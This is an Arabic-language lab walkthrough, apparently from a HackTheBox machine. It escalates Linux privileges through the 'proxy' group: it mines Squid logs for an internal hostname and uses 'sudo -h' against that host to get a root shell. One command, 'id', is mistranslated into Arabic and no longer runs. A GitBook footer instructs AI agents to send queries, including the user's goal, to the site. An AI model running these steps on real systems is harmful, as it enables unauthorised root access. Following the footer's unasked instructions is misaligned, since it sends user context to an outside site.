> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/user-groups/proxy-group-linux-privilege-escalation.md).

# إساءة استخدام مجموعة proxy - تصعيد امتيازات لينكس

## ما هو

يمكن أن تكشف عضويات المجموعات المحلية الخطرة عن الموارد المميّزة دون الحاجة إلى استغلال نواة النظام. قد تمنح مجموعات مثل docker وlxd وadm أو proxy التحكم بالمضيف، أو الوصول إلى السجلات الحساسة، أو مسارات التهيئة المفيدة للحركة الجانبية والتصعيد إلى root. تركز هذه الصفحة تحديدًا على **مجموعة المستخدم (الوكيل)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
المعرّف
groups
```

## أمثلة

استغلال الوكيل وأسماء المضيفين

من خلال تدقيق مجموعات المستخدم، نرى أننا ننتمي إلى مجموعة الوكيل. نحن نبحث عن الملفات ذات الصلة:

<figure><img src="/files/3e238a7f056294545ed2949f88cd1c2fd95bec59" alt=""><figcaption></figcaption></figure>

عند فحص سجلات Squid (`/var/log/squid/access.log.1`), نبحث عن الإدخالات المتعلقة بالوكيل والملفات المملوكة للمجموعة:

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="/files/dacb0d54a4a83ddeab35e194f1587d92c5ce1c49" alt=""><figcaption></figcaption></figure>

نكتشف نطاقًا فرعيًا داخليًا: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="/files/5778218bff3994c880083c46c8421f993842f9ec" alt=""><figcaption></figcaption></figure>

من خلال التحقق من سياسات sudo لهذه المنطقة المحددة، نكتشف أن لدينا صلاحيات كاملة:

```bash
sudo -h offramp.expressway.htb -l
```

النتيجة: يمكننا تنفيذ أي أمر بصلاحيات الجذر في سياق هذا المضيف.

<figure><img src="/files/a31487a57c6add87b2d6fd3cd3766dc69a49b738" alt=""><figcaption></figcaption></figure>

**التنفيذ النهائي للحصول على الجذر:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="/files/0bc0e283088f3d24fa87979436d57324d42bb547" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/user-groups/proxy-group-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
